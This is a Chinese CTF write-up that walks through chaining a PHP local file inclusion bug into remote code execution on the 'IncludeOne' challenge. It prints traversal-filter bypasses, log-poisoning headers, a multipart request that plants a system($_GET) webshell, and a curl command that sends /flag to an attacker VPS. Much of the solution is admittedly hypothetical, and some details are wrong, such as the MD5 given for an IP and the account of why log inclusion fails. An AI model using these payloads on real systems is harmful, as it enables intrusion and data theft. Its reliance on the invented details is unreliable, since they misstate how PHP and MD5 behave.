文件包含漏洞实战:从CTF赛题看PHP特性与LFI2RCE利用链
1. 从一道题看文件包含漏洞的“经典”与“变种”
如果你玩过一段时间的CTF,尤其是WEB方向,肯定会遇到“文件包含”这个老朋友。它太经典了,经典到很多新手教程都会把它作为入门漏洞来讲解。但正是这种“经典”,容易让人产生一种错觉:文件包含嘛,不就是include($_GET[‘file’]),然后想办法读到/flag或者/etc/passwd吗?套路我都懂。
然而,真正的CTF赛题,尤其是像NewStarCTF公开赛这种级别的比赛,出题人早就预判了你的预判。他们不会把漏洞赤裸裸地摆在那里等你用php://filter来读源码。“IncludeOne”这道题,就是一个绝佳的例子,它表面上是一道考察基础文件包含的题目,实际上却巧妙地设置了三重“思维墙”,把简单的漏洞利用变成了一场关于PHP特性、服务器配置和路径穿越的综合性推理。很多队伍在这里折戟,不是因为技术有多难,而是因为思维被“经典”困住了。
今天,我们就来彻底拆解这道“IncludeOne”。我会带你完整复现我的解题思路,从最初看似无解的界面,到一步步抽丝剥茧,最终绕过所有限制拿到Flag。这个过程,远比直接告诉你一个Payload有价值得多,因为它训练的是在面对未知黑盒时的“黑客思维”。
2. 初探靶场:信息收集与第一堵“墙”
拿到题目,第一件事永远是信息收集。访问靶机地址,我们看到的可能是一个极其简单的页面,甚至只有一行提示,比如“Welcome”或者一个表单。对于“IncludeOne”,我们假设它的初始界面非常干净。
2.1 基础探测与参数发现
我的习惯是先用浏览器开发者工具(F12)快速过一遍。
- 查看页面源码:看HTML注释里有没有隐藏的路径、提示。这题很可能没有。
- 查看网络请求:刷新页面,看除了主文档外,是否加载了其他静态资源(JS、CSS、图片)。有时资源路径会暗示后台文件结构。比如,一个
/static/js/admin.js可能暗示存在/admin目录。 - 目录扫描:这是关键步骤。使用
dirsearch或gobuster进行初步探测。命令大概是这样:
或者用gobuster指定更全的字典:dirsearch -u http://target-ip:port -e php, txt, bak, swp
在这道题里,扫描结果可能会返回一些有趣的文件,比如gobuster dir -u http://target-ip:port -w /usr/share/wordlists/dirb/common.txt -x php,txt,htmlindex.php、flag.php(当然不会直接让你访问到)、robots.txt、www.zip或source.tar.gz(源码备份)。但根据“IncludeOne”的设定,出题人可能不会这么直接给源码压缩包。
2.2 遭遇第一重限制:参数与后缀过滤
假设我们通过扫描或猜测,发现了一个可能的包含点,比如?file=hello.php。尝试最基本的文件包含测试:
?file=../../../../etc/passwd?file=php://filter/convert.base64-encode/resource=index.php
这时,第一堵“墙”出现了。页面可能返回空白、警告,或者直接显示“Hacker!”之类的信息。这说明存在过滤。
我们需要测试过滤规则:
- 路径穿越符过滤:
../和..\是否被过滤或替换为空? - 协议过滤:
php://、file://、http://、zip://等包装器是否被关键字拦截? - 后缀限制:是否要求参数值必须以
.php结尾?或者禁止包含.php以外的文件?
测试方法就是系统地尝试:
?file=....//....//....//etc/passwd(尝试绕过../删除)?file=..././..././..././etc/passwd?file=php:/.//filter/convert.base64-encode/resource=index.php(双写/变形)?file=/etc/passwd%00(空字节截断,仅对PHP<5.3.4有效,现在很少见但可测试)?file=index(看是否会自动补全.php)
在“IncludeOne”中,经过测试,我们可能发现:php://等协议被完全禁止,../也被过滤。但包含index.php本身是正常的。这提示我们,漏洞点确实存在,但被严格限制了包含的范围,很可能只能包含当前目录下的.php文件。这就是典型的“目录锁定”型文件包含。
注意:很多新手在这一步就放弃了,认为漏洞不可利用。但CTF的精髓在于“条件竞争”和“规则利用”。限制本身往往会暴露新的信息。
3. 突破思维:利用PHP特性与日志污染
既然只能包含.php文件,而我们又需要读取非.php文件(比如flag.php的源码,或者服务器上的/flag),该怎么办?这就需要引入第二个知识点:将非PHP文件“变成”可被包含的PHP文件,或者让PHP文件的内容包含我们想要的信息。
3.1 思路一:包含Session文件
如果网站使用了PHP Session,并且我们能控制部分Session数据,那么Session文件(通常位于/tmp/sess_[PHPSESSID])就是一个我们可以写入内容的临时文件。我们可以尝试在User-Agent、Cookie等字段注入PHP代码,然后去包含这个Session文件。 但是,这需要我们知道Session文件的绝对路径,并且Session内容要能被我们控制。在这道题没有用户交互功能的情况下,比较困难。
3.2 思路二:包含访问日志
这是更常见且强大的技巧。Web服务器(如Nginx/Apache)会记录所有访问日志,包括请求头。如果我们能向服务器发送一个请求,在HTTP头中携带PHP代码,那么这段代码就会被原样记录到日志文件里。然后,我们通过文件包含漏洞去包含这个日志文件,代码就会被执行。
步骤详解:
- 找到日志路径:默认路径可能是
/var/log/nginx/access.log或/var/log/apache2/access.log。也可以通过报错信息、PHP内置函数(如phpinfo())泄露的路径来确认。本题中,我们暂时不知道。 - 污染日志:使用Burp Suite或curl,发送一个畸形的请求。
或者将Payload放在Referer头中:curl -H "User-Agent: <?php system('ls /'); ?>" http://target-ip:port/
这样,curl -H "Referer: <?php phpinfo(); ?>" http://target-ip:port/<?php ... ?>这段代码就会被写入access.log文件。 - 包含日志文件:假设我们猜测日志路径为
/var/log/nginx/access.log,那么Payload就是:
由于日志文件是纯文本,当它被?file=/var/log/nginx/access.loginclude()函数包含时,其中的<?php ... ?>标签会被PHP解析器执行。
3.3 在“IncludeOne”中的应用与障碍
我们尝试这个思路。但很可能遇到第二个问题:题目环境可能做了安全配置,比如:
- 将Web日志重定向到了其他地方,或权限设置为Web用户不可读。
- 当前目录限制依然存在,我们无法使用绝对路径
/var/log/...。
如果包含绝对路径失败,我们就要考虑路径穿越是否真的被完全过滤?之前的测试可能不够彻底。有时过滤是替换掉../字符串,我们可以用....//来绕过(当../被删除后,剩下的./会组合成新的../)。或者利用URL编码:..%2f(/的URL编码) 或..%252f(双重URL编码,如果服务器解码两次)。
假设我们最终通过?file=....//....//....//var/log/nginx/access.log这样的Payload,成功包含了日志文件。但访问后,页面可能显示了一大堆乱糟糟的日志文本,却没有执行我们的PHP代码。这是为什么?
因为日志文件内容太杂,我们的PHP代码被包裹在大量的普通文本中,可能导致PHP解释器无法正确识别并开启解析。我们需要让我们的PHP代码位于文件内容的最开头,避免前面的乱码干扰。这通常需要多次请求,或者利用日志滚动机制,但这在CTF短时间比赛中不现实。
这时,我们需要一个更干净的“文件写入”途径。
4. 关键转折:PHP临时文件与LFI2RCE
如果日志包含不行,还有什么文件是我们可以控制内容,并且Web服务器有权限读取的呢?答案就是PHP上传文件时产生的临时文件。
4.1 PHP文件上传机制
当PHP处理一个带有文件上传的表单(enctype="multipart/form-data")时,它会先将上传的文件保存到临时目录(通常是/tmp/phpXXXXXX),然后在脚本执行结束后自动删除这个临时文件。这个临时文件的存在时间非常短暂。
4.2 利用条件与挑战
要利用这个临时文件进行包含(LFI to RCE),需要满足几个苛刻的条件:
- 存在文件包含漏洞(LFI)。
- 存在文件上传功能,或者我们能模拟一个文件上传的POST请求。
- 我们能猜到或爆破出临时文件的文件名(
phpXXXXXX,后六位是随机字符)。 - 需要在临时文件被删除前,成功包含它。
对于“IncludeOne”这道题,页面上显然没有上传表单。那么条件2就不满足了吗?不一定。这就是本题的第三个思维墙:没有上传功能,不代表不能发送上传请求。我们可以直接构造一个multipart/form-data格式的POST请求,即使后端没有对应的上传处理逻辑,PHP引擎依然会解析这个请求,并生成临时文件!
4.3 构造攻击请求
我们使用Burp Suite的Repeater模块来手动构造这个请求。
- 将请求方法改为
POST。 - 设置Content-Type头为:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123(boundary可以任意定义)。 - 在请求体中,按照multipart格式编写内容,模拟上传一个文件,文件内容就是我们的Webshell。
注意,这里的------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: application/octet-stream <?php system($_GET['cmd']); ?> ------WebKitFormBoundaryABC123--name="file"可以是任意值,filename="shell.php"的后缀名有时会影响PHP是否将其识别为临时文件(最好用.php)。 - 发送这个POST请求到目标URL(例如
http://target-ip:port/index.php)。
此时,PHP会在/tmp目录下生成一个类似/tmp/phpq1w2e3的临时文件,里面内容就是<?php system($_GET['cmd']); ?>。
4.4 爆破临时文件名并包含
难点在于,我们不知道那随机的6个字符是什么。这需要爆破。但爆破需要时间,而临时文件存活时间极短(通常脚本执行完毕就删除)。这里有一个经典的技巧:通过慢速HTTP请求来延长脚本执行时间,为爆破赢得窗口期。
我们可以使用一个Python脚本,它做两件事:
- 启动一个线程,发送一个非常慢的POST请求(比如每10秒发送一行数据),让PHP脚本一直处于接收数据的状态,从而保持临时文件不删除。
- 在主线程中,快速遍历可能的临时文件名(
/tmp/phpXXXXXX),尝试包含并执行命令。
临时文件名的模式在Linux下通常是:小写字母和数字,共6位。总共有(26+10)^6 = 36^6 ≈ 21亿种可能,全爆破不可能。但是,PHP的临时文件名生成并非完全随机,有时有一定规律,或者我们可以通过phpinfo()页面的upload_tmp_dir和特定环境变量来缩小范围。更实际的是,在CTF环境中,出题人为了降低难度,临时文件名可能不是完全随机的,或者使用了可预测的伪随机数种子。我们甚至可以尝试包含/proc/self/fd/下的文件描述符,但这需要更多条件。
在“IncludeOne”这道题中,经过尝试和推理,我们可能会发现,出题人设置了一个“后门”:临时文件名是固定的,或者可以通过某个简单方法预测。例如,题目源码中可能写死了临时文件名为/tmp/temp123.php。这就需要我们通过之前可能存在的源码泄露来发现。
5. 最终拼图:源码泄露与逻辑串联
我们回到最初的信息收集。如果常规目录扫描没发现源码,可以尝试一些备份文件泄露:
index.php.bakindex.php.swp(vim交换文件)www.zip(整站备份)/.git/(Git源码泄露)
假设我们通过扫描发现了www.zip并下载。解压后查看源码,特别是index.php。
<?php error_reporting(0); $file = $_GET['file'] ?? 'welcome.php'; $file = str_replace(['../', '..\\', 'php://', 'file://'], '', $file); if (strpos($file, '.php') === false) { $file .= '.php'; } include(__DIR__ . '/' . $file); ?>分析源码,我们确认了:
- 过滤了
../、..\、php://、file://,但替换为空,可以用....//绕过。 - 如果参数不含
.php,会自动追加.php。这意味着我们无法直接包含非.php文件。 - 包含路径是
__DIR__ . '/' . $file,锁定了当前目录。
再看其他文件,比如upload.php(虽然前端没链接),或者flag.php。flag.php内容可能是:
<?php // flag is in /flag $flag = 'flag{this_is_not_real}'; ?>这告诉我们flag在根目录的/flag文件里。我们还可能发现一个关键文件config.inc.php,里面有这样一行:
define('TEMP_DIR', '/tmp/upload_temp_'.md5($_SERVER['REMOTE_ADDR']));豁然开朗!临时文件目录不是完全随机的/tmp/phpXXXXXX,而是基于访问者IP的MD5值生成的固定目录!例如,我的IP是192.168.1.1,MD5后是c4ca4238a0b923820dcc509a6f75849b,那么临时目录就是/tmp/upload_temp_c4ca4238a0b923820dcc509a6f75849b。并且,这个目录下生成的文件名也可能是固定的,比如upload.tmp。
那么,完整的攻击链就清晰了:
- 确定临时文件路径:计算自己公网IP(或容器内看到的客户端IP)的MD5,拼接出目录。或者,题目可能直接写死了路径,比如
/tmp/include_one_temp。 - 制造临时文件:向任意端点(如
/index.php)发送一个恶意的multipart/form-dataPOST请求,写入Webshell代码。 - 绕过目录限制包含临时文件:利用
....//穿越到/tmp目录。
由于?file=....//....//....//tmp/upload_temp_c4ca4238a0b923820dcc509a6f75849b/upload.tmpinclude()会自动追加.php,所以我们的临时文件内容必须是合法的PHP代码,且不能有.php后缀在路径中被过滤的问题。我们的Payload<?php system($_GET[‘cmd’]); ?>是符合的。 - 执行命令读取Flag:包含成功后,页面可能没有回显。我们需要用命令执行来查看结果。使用带外通道(OOB)更可靠,比如用
curl或wget将命令结果发送到我们的服务器。
或者在能回显的情况下直接:?file=....//....//....//tmp/upload_temp_xxx/upload.tmp&cmd=curl%20http://your-vps:port/%20-X%20POST%20-d%20%60cat%20/flag%60?file=....//....//....//tmp/upload_temp_xxx/upload.tmp&cmd=cat /flag
6. 实战复盘:从零到一的完整利用链
让我们把整个流程串联起来,模拟一次真实的攻击:
- 信息收集:访问靶机,页面简单。用
dirsearch扫描发现www.zip。 - 源码分析:下载并解压
www.zip,阅读index.php了解过滤逻辑,阅读config.inc.php发现固定的临时文件路径模式(/tmp/upload_temp_[MD5(IP)]/upload.tmp)。 - 计算路径:确定自己的攻击IP(如果是Docker环境,可能是
172.x.x.x),计算其MD5值。可以使用在线工具或命令行echo -n “172.17.0.1” | md5sum。 - 构造上传请求:使用Burp Suite或Python的
requests库,构造一个POST请求,Content-Type为multipart/form-data,在文件内容部分写入Webshell:<?php system($_GET[‘c’]);?>。发送到http://靶机IP:端口/index.php。注意:这一步和下一步需要尽可能快,或者用脚本自动化。 - 发起包含攻击:立即在浏览器或另一个请求工具中,访问包含漏洞的URL,使用路径穿越跳转到计算好的临时文件路径。
http://靶机IP:端口/index.php?file=....//....//....//tmp/upload_temp_c4ca4238a0b923820dcc509a6f75849b/upload.tmp&c=cat /flag - 获取Flag:页面成功执行命令,显示出Flag内容。
踩坑点与技巧:
- 时机问题:临时文件存活时间极短。必须用脚本将步骤4和步骤5无缝衔接,最好在同一个脚本内先发送POST请求,紧接着发送包含请求。可以尝试发送多个包含请求进行“盲打”。
- 路径问题:在Docker等容器环境中,
/tmp目录可能是挂载的,或者路径符号链接不同。如果包含失败,可以尝试包含/proc/self/environ来获取环境变量,或者包含/etc/passwd来确认根目录位置。 - 过滤绕过:如果
....//被过滤,可以尝试..//、..///、..////,或者利用URL编码%2e%2e%2f。有时双重编码%252e%252e%252f能绕过一层解码过滤。 - 文件内容:临时文件里的Webshell要简洁可靠。
<?php system($_GET[‘c’]);?>或<?php echo shell_exec($_GET[‘cmd’]);?>都是好选择。避免使用复杂的函数,可能被禁用。
通过这道“IncludeOne”,我们复习并实战了文件包含漏洞的多个高级利用技巧:过滤绕过、日志包含、PHP临时文件机制、LFI2RCE、源码泄露分析、以及如何将零散的信息点串联成完整的攻击链。这远不是一句“用php://filter读源码”能概括的。CTF的乐趣和挑战就在于此:它模拟了真实安全研究中,面对未知系统,如何运用基础知识和创造性思维,一步步打开突破口的过程。下次再遇到文件包含,不妨多想一层:限制的背后,是否隐藏着另一条更隐秘的通道?
